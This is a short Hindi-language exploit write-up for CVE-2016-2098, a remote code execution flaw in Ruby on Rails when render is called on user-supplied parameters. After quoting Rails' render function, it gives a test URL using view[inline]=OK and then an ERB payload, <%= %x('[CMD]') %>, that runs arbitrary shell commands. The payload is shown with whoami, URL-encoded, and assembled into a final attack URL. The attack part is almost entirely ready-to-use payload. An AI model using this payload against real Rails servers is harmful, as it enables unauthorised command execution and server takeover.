
Ruby-on-Rails में उपयोगकर्ता-प्रदत्त डेटा पर render का उपयोग करने पर दूरस्थ कोड निष्पादन भेद्यता।
Ruby-on-Rails में उपयोगकर्ता द्वारा प्रदान किए गए डेटा पर render का उपयोग करते समय दूरस्थ कोड निष्पादन की भेद्यता।
यह समस्या उपयोगकर्ता द्वारा प्रदान किए गए डेटा पर render विधि के उपयोग से उत्पन्न होती है।
render विधि आमतौर पर किसी टेम्पलेट से पेज प्रस्तुत करने के लिए उपयोग की जाती है, लेकिन render विधि डेवलपर्स को सादा पाठ (plaintext) और यहां तक कि इनलाइन कोड (inline) प्रस्तुत करने की भी अनुमति देती है।
render फ़ंक्शन:
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
options = _normalize_render(*args, &block)
rendered_body = render_to_body(options)
if options[:html]
_set_html_content_type
else
_set_rendered_content_type rendered_format
end
_set_vary_header
self.response_body = rendered_body
end
लक्ष्य URL:
http://example.com/?view=test
शोषण:
http://example.com/?view[inline]=OK
यदि स्रोत कोड में 'OK' दिखाई देता है, तो वेब एप्लिकेशन CVE-2016-2098 के प्रति संवेदनशील है।
<%= %x('[CMD]') %>
हम CMD को अपने उस कमांड से बदल सकते हैं जिसे हम निष्पादित करना चाहते हैं।
<%= %x('whoami') %>
URL एन्कोडिंग के बाद:
%3C%25=%20%25x(whoami)%20%25%3E
अंतिम:
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E